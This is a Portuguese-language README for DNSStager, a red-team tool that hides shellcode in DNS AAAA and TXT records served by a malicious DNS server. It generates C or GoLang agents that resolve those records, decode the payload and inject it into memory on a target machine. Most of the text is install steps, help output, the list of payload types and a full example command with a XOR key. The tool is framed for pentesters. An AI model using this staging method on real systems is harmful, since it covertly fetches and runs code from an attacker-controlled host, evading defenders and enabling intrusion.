
Esconda seu payload no DNS
DNSStager é um projeto open-source baseado em Python usado para ocultar e transferir seu payload usando DNS.
O DNSStager criará um servidor DNS malicioso que lida com requisições DNS para o seu domínio e retorna seu payload como resposta a requisições de registros específicos, como registros AAAA ou TXT, após dividi-lo em partes e codificar o payload usando diferentes algoritmos.
O DNSStager pode gerar um agente customizado escrito em C ou GoLang que resolverá uma sequência de domínios, recuperará o payload, o decodificará e, finalmente, o injetará na memória com base em qualquer técnica que você desejar.
Você pode editar o código do agente DNSStager como desejar e compilá-lo usando suas próprias técnicas de execução customizadas.
O principal objetivo do uso do DNSStager é ajudar red teamers/pentesters a entregar seus payloads de forma furtiva usando DNS.
Com base na sua opção de resolução DNS, o DNSStager dividirá seu payload em partes e salvará cada parte do payload como resposta para um subdomínio.
Por exemplo, se você escolher IPV6 como sua opção para recuperar o payload, a resposta DNS será algo como:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Onde 5648:31d2:6548:8b52:6048:8b52:1848:8b52 é uma parte do seu payload.
Assim, o agente resolverá alguns domínios para recuperar o payload, depois o decodificará e, finalmente, o injetará na memória.
Atualmente, o DNSStager suporta apenas dois registros, AAAA e TXT. Você pode codificar seu payload usando XOR para o registro AAAA e, por padrão, ele será codificado como base64 se você escolher o registro TXT.
O DNSStager possui algumas características importantes, como:
IPV6.TXT.C com a capacidade de personalizá-lo.GoLang com a capacidade de personalizá-lo.Você pode instalar os requisitos Python do DNSStager via:
pip3 install -r requirements.txt
Você precisa instalar o GoLang versão 1.16.3 e certificar-se de instalar os seguintes pacotes GoLang:
Além disso, certifique-se de instalar o ming-w64 via:
apt install mingw-w64
O script setup.sh deve fazer isso para você, mas verifique os requisitos antes de usá-lo!
Para obter a versão mais recente do DNSStager, clone este repositório usando o seguinte comando:
git clone https://github.com/mhaskar/DNSStager
Em seguida, instale os requisitos usando o seguinte comando:
pip3 install -r requirements.txt
E certifique-se de instalar também todos os requisitos mencionados anteriormente.
Depois de fazer tudo isso, você está pronto para executar o DNSStager como root para obter o seguinte:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Hide your payload in DNS
[-] Please specify a domain name using --domain
Para começar a usar o DNSStager, primeiro configure suas configurações de DNS. Você precisa fazer com que seu domínio aponte para a instância do DNSStager como registro NS para lidar com todas as requisições DNS para o seu domínio.
Você pode ler este artigo completo sobre como configurar e usar o DNSStager.
E você pode verificar as opções usando a opção -h da seguinte forma:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
DNSStager main parser
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN The domain you want to use as staging host
--payloads show all payloads
--prefix PREFIX Prefix to use as part of your subdomain schema
--payload PAYLOAD Payload to use, see --payloads for more details
--output OUTPUT Agent output path
--shellcode_path SHELLCODE_PATH
Shellcode file path
--xorkey XORKEY XOR key to encode your payload with
--sleep SLEEP sleep for N seconds between each DNS request
--format FORMAT payload format (.dll or .exe)
--tcp Start and use the DNS server via TCP protocol
--domain: você pode usar esta opção para selecionar o domínio principal que usará para lidar com as requisições DNS.
--prefix: O prefixo que você deseja usar para o esquema de subdomínio.
Por exemplo, se seu domínio principal é fakedns.live, você pode especificar o prefixo como "cdn", por exemplo. Assim, os domínios gerados seguirão o seguinte padrão:
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveOnde N é um número gerado automaticamente que representa o número de partes do seu payload.
--payload: o payload "agente" do DNSStager que você deseja gerar com base na técnica, linguagem de programação e arquitetura.
--output: Caminho de saída para salvar o payload "agente" executável do DNSStager.
--shellcode_path: O caminho do seu shellcode raw/bin.
--xorkey: Chave XOR para codificar o payload.
--sleep: Usado para pausar por N segundos entre cada requisição DNS.
--tcp: Iniciar e usar o servidor DNS via protocolo TCP
Para verificar os payloads disponíveis do DNSStager, use ./dnsstager.py --payloads para obter os seguintes resultados:
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 DNSStager payloads Available
x64/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6 Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6 Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code
Este exemplo iniciará o DNSStager para resolver seu payload como IPV6 usando o domínio test.mydnsserver.live com prefixo cloud-srv- para gerar um agente x64 C compilado codificado com 0x10 como chave:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
E a saída será:

E para verificar se tudo está funcionando bem, vamos enviar uma consulta DNS para cloud-srv-0.test.mydnsserver.live para obter o seguinte:

Podemos ver que recebemos f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b como resposta, que são os primeiros 16 bytes do nosso payload codificado.
Em seguida, você pode executar o agente /tmp/a2.exe (conforme definido usando --output na linha de comando) na máquina alvo e isso fará o download de todas as partes necessárias, as decodificará e as injetará na memória para você.
Este projeto está licenciado sob a Licença GPL-3.0 - consulte o arquivo LICENSE para mais detalhes.